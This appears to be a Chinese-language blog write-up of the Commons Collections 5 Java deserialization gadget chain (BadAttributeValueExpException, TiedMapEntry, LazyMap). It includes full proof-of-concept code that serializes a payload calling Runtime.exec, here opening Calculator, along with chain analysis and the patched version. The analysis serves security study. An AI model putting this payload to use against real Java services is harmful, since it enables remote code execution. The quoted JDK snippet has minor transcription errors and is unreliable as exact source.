简介

适用版本:3.1-3.2.1,jdk1.7,1.8
jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以就找到了BadAttributeValueExpException来代替AnnotationInvocationHandler。

主要代码

先看看主要代码

public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Permit.setAccessible(valfield);
        //将BadAttributeValueExpException对象的成员变量val赋值为恶意entry
        valfield.set(val, entry);
        setFieldValue(transformerChain, "iTransformers", transformers);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

表哥们,越来越简单了

利用链

cc51.png

分析

BadAttributeValueExpException类

反序列化时,该类的readObject会调用它的成员变量val(也就是我们传入的恶意TiedMapEntry对象)的toString方法

private void readobject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valobj = gf.get(name: "val", val: null);
    if (valobj == null) {
        val = null;
    } else if (valobj instanceof String) {
        val= valobj;
    } else if (System.getSecurityManager() == null 
            ||valObj instanceof Long 
            ||valobj instanceof Integer 
            ||valObj instanceof Float 
            ||valObj instanceof Double 
            ||valobj instanceof Byte 
            ||valobj instanceof Short
            ||valobj instanceof Boolean
        val = valobj.toString();
    }else{
        val = System.identityHashCode(valobj) +"@"+ valobj.getClass().getName();
    }

TiedMapEntry的toString方法

调用了this.getkey和this.getValue方法

public String toString() {
    return this.getKey() + "="+ this.getValue();
}

在getValue方法中会调用成员变量map的get方法,this.map就是传入的恶意LazyMap,this.key只要存在就好

public Object getValue() {
    return this.map.get(this. key);
}

剩下的就很熟悉了,忘了再去看看

补丁

3.2.2,将BadAttributeValueExpException拉黑

参考文章

雷神众测ysoserial分析之CommonsCollections5

Last modification:April 21st, 2020 at 09:15 pm